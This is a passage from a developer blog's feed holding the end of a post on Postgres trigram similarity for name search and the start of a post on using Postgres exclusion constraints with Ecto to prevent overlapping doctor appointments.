&lt;p&gt;The similarities are quite different! The high-level explanation is that Postgres compares the Trigram sets of &lt;code&gt;Bert&lt;/code&gt; and the sub-part &lt;code&gt;bert&lt;/code&gt; of &lt;code&gt;Dagobert&lt;/code&gt; for &lt;code&gt;word_similarity&lt;/code&gt; whereas it compares the sets of &lt;code&gt;Bert&lt;/code&gt; and &lt;code&gt;Dagobert&lt;/code&gt; for &lt;code&gt;strict_word_similarity&lt;/code&gt;. Let&apos;s have a look at the Trigram sets and how they overlap:&lt;/p&gt;
&lt;pre id=&quot;code-block-17&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;Bert:     &amp;lbrace;&quot;  b&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot; be&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;ber&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;ert&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;rt &quot;&amp;rbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;bert:                 &amp;lbrace;&quot;ber&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;ert&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;rt &quot;&amp;rbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;Match&lt;/span&gt;:      &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;     X     X     X
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;Bert:                             &amp;lbrace;&quot;  b&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot; be&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;ber&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;ert&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;rt &quot;&amp;rbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;Dabogert: &amp;lbrace;&quot;  d&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot; da&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;dag&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;ago&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;gob&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;obe&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;ber&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;ert&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;&quot;rt &quot;&amp;rbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;Match&lt;/span&gt;:       &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;     &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;     &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;     &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;     &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;     &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;     X     X     X
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, if we calculate the similarities of these two comparisons, we get the same result:&lt;/p&gt;
&lt;pre id=&quot;code-block-18&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;word_similarity        &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; 3 &lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;5 &lt;span style=&quot;color: #79c0ff;&quot;&gt;+&lt;/span&gt; 3 &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt; 3&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; 0&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;6
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;strict_word_similarity &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; 3 &lt;span style=&quot;color: #79c0ff;&quot;&gt;/&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;5 &lt;span style=&quot;color: #79c0ff;&quot;&gt;+&lt;/span&gt; 9 &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt; 3&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;~&lt;/span&gt; 0&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;28
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These calculations match Postgres&apos;s results exactly! I hope this little deep-dive clears up how Postgres calculates the different similarity values.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you have questions or comments, let&apos;s discuss them on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. If you found this topic interesting, here are some references for further reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/1566717/postgresql-like-query-performance-variations&quot;&gt;PostgreSQL LIKE query performance variations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dba.stackexchange.com/questions/103821/best-index-for-similarity-function&quot;&gt;Best index for similarity function&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.depesz.com/2011/02/19/waiting-for-9-1-faster-likeilike&quot;&gt;Waiting for 9.1 – Faster LIKE/ILIKE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://about.gitlab.com/blog/2016/03/18/fast-search-using-postgresql-trigram-indexes&quot;&gt;Fast Search Using PostgreSQL Trigram Text Indexes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Until next time. Thanks for reading!&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/efficient-name-search-with-postgres-and-ecto"/>
    <id>https://peterullrich.com/efficient-name-search-with-postgres-and-ecto</id>
    <title>Efficient Name Search with Postgres and Ecto</title>
    <updated>2022-10-16T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Happy whatever day you&apos;re reading this! Before we begin, let me ask you:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;What&amp;#39;s the best present you can ever give?
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;A broken drum.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;Nobody can beat that.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alright. Now, let&apos;s get down to business. Here&apos;s another question for you: Imagine you build an appointment scheduling service. A service that allows patients to book an appointment with their doctor. You want to prevent double-booking of a doctor for the same time slot. So, if one patient has an appointment on Tuesday from 9am to 10am, another patient shouldn&apos;t be able to book that same time slot. How would you implement this?&lt;/p&gt;
&lt;p&gt;If you thought about adding the check somewhere in your Elixir code, you&apos;re not wrong, but there&apos;s a better way. If you thought: &quot;Hey, I can do that in the database!&quot;, congrats to you because that&apos;s &lt;strong&gt;exactly&lt;/strong&gt; what we will do today!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#a-quick-dive-into-exclusion-constraints&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;a-quick-dive-into-exclusion-constraints&quot;&gt;&lt;/a&gt;A quick dive into Exclusion Constraints&lt;/h2&gt;
&lt;p&gt;Raise your hand if you ever created a &lt;code&gt;unique_index&lt;/code&gt; or added a &lt;code&gt;not null&lt;/code&gt; to a field in your migration. Is that a hand up there? Good. That means you have worked with &lt;a href=&quot;https://www.postgresql.org/docs/current/ddl-constraints.html&quot;&gt;Constraints&lt;/a&gt; before. Even if you haven&apos;t raised your hand, chances are that you will encounter a unique index or a non-null constraint soon. However, one constraint that you probably never heard about is an &lt;a href=&quot;https://www.postgresql.org/docs/current/ddl-constraints.html#DDL-CONSTRAINTS-EXCLUSION&quot;&gt;Exclusion Constraint&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A &lt;code&gt;unique constraint&lt;/code&gt; guarantees that a database column never contains the same value twice. When used with multiple columns, it guarantees that the columns never contain the same combination of values twice. So, a &lt;code&gt;unique constraint&lt;/code&gt; checks the existing data with the input data for &lt;code&gt;equality&lt;/code&gt; and fails if you try to insert the same data again.&lt;/p&gt;
&lt;p&gt;An &lt;code&gt;exclusion constraint&lt;/code&gt; is a much more powerful extension of that. It can modify the existing values using many built-in functions before comparing the existing data with the input data. Instead of a simple &lt;code&gt;is equal to&lt;/code&gt; comparison, you can define a list of complex comparisons to check for any condition you like, not only equality. If all comparisons return &lt;code&gt;true&lt;/code&gt;, &lt;a href=&quot;https://www.postgresql.org/docs/current/sql-createtable.html#SQL-CREATETABLE-EXCLUDE&quot;&gt;Postgres blocks&lt;/a&gt; the insertion of the data. The most common use of &lt;code&gt;exclusion constraints&lt;/code&gt; is the &lt;code&gt;X overlaps Y&lt;/code&gt; comparison. This comparison is especially useful when you want to prevent two DateTime ranges from overlapping.&lt;/p&gt;
&lt;p&gt;We could implement the comparison in our Elixir application as well, but moving it to our database has a few advantages. If we wanted to implement this in Elixir, we would always need at least two database queries. First, we need to check whether an overlapping appointment exists already. Most likely, this would require checking the database with a rather complex query. If the query returns nothing, we go ahead and insert our data. With an exclusion constraint, you can combine both steps into one insertion step and let Postgres handle the complex comparison. Postgres&apos; indexes are highly optimized and written in super-fast C++, so using a constraint will probably always beat an Elixir-based implementation.&lt;/p&gt;
&lt;p&gt;One caveat though is that you make yourself more dependent on the Postgres database if you use an exclusion constraint instead. You can&apos;t simply migrate to another database that doesn&apos;t support exclusion constraints.&lt;/p&gt;
&lt;p&gt;With all that in mind, let&apos;s see how we can implement an exclusion constraint for our appointment scheduling service.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-schema&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-schema&quot;&gt;&lt;/a&gt;The Schema&lt;/h2&gt;
&lt;p&gt;Our service has an &lt;code&gt;Appointment&lt;/code&gt;-model, which looks like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;schema&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;appointments&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:doctor_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:integer&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:canceled&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:boolean&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;default: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:utc_datetime&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:until&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:utc_datetime&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We create an appointment for a given doctor and two DateTime timestamps &lt;code&gt;from&lt;/code&gt; and &lt;code&gt;until&lt;/code&gt;. We could implement a custom &lt;a href=&quot;https://gist.github.com/felipegasparini/7c9a6fa0c2c463c17540b8e8544f16cf?permalink_comment_id=2751096&quot;&gt;TSRange&lt;/a&gt; type instead of using two individual timestamps, but this will do for now. Users are allowed to cancel an appointment, which is tracked in the &lt;code&gt;canceled&lt;/code&gt; field.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-changeset&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-changeset&quot;&gt;&lt;/a&gt;The Changeset&lt;/h2&gt;
&lt;p&gt;Our &lt;code&gt;appointment&lt;/code&gt; changeset is relatively simple:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;changeset&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;appointment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;appointment&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;cast&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:doctor_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:canceled&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:until&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;exclusion_constraint&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;       &lt;span style=&quot;color: #79c0ff;&quot;&gt;:from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;       &lt;span style=&quot;color: #79c0ff;&quot;&gt;name: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:overlapping_appointments&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;     &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;validate_required&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:doctor_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:until&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note the &lt;a href=&quot;https://hexdocs.pm/ecto/Ecto.Changeset.html#exclusion_constraint/3&quot;&gt;exclusion_constraint/3&lt;/a&gt; function here (Kudos to &lt;a href=&quot;https://twitter.com/Bitgamma&quot;&gt;Michele Balistreri&lt;/a&gt; who &lt;a href=&quot;https://github.com/elixir-ecto/ecto/pull/1122&quot;&gt;implemented&lt;/a&gt; this function 👏). It instructs Ecto to convert any violations of the exclusion constraint into an &lt;code&gt;Ecto.ConstraintError&lt;/code&gt;. If we don&apos;t add this, Ecto will raise the constraint error as an unhandled exception instead. By using &lt;code&gt;exclusion_constraint/3&lt;/code&gt;, we can catch and return proper error messages instead of crashing the process when we try to insert an overlapping appointment. Let&apos;s create the constraint next.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-migration&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-migration&quot;&gt;&lt;/a&gt;The Migration&lt;/h2&gt;
&lt;p&gt;We create the exclusion constraint in the migration by executing some custom SQL code. Here&apos;s the entire migration:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Repo.Migrations.CreateAppointments&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Migration&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;up&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:appointments&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:doctor_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:integer&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:canceled&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:boolean&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;default: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:utc_datetime&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:until&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:utc_datetime&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;CREATE EXTENSION IF NOT EXISTS btree_gist;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;      ALTER TABLE appointments
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;      ADD CONSTRAINT overlapping_appointments
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;      EXCLUDE USING GIST (
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;        doctor_id WITH =,
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;        tsrange(&quot;from&quot;, &quot;until&quot;, &amp;#39;[)&amp;#39;) WITH &amp;&amp;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;      ) WHERE (NOT canceled);
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;    &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;down&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;drop&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:appointments&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
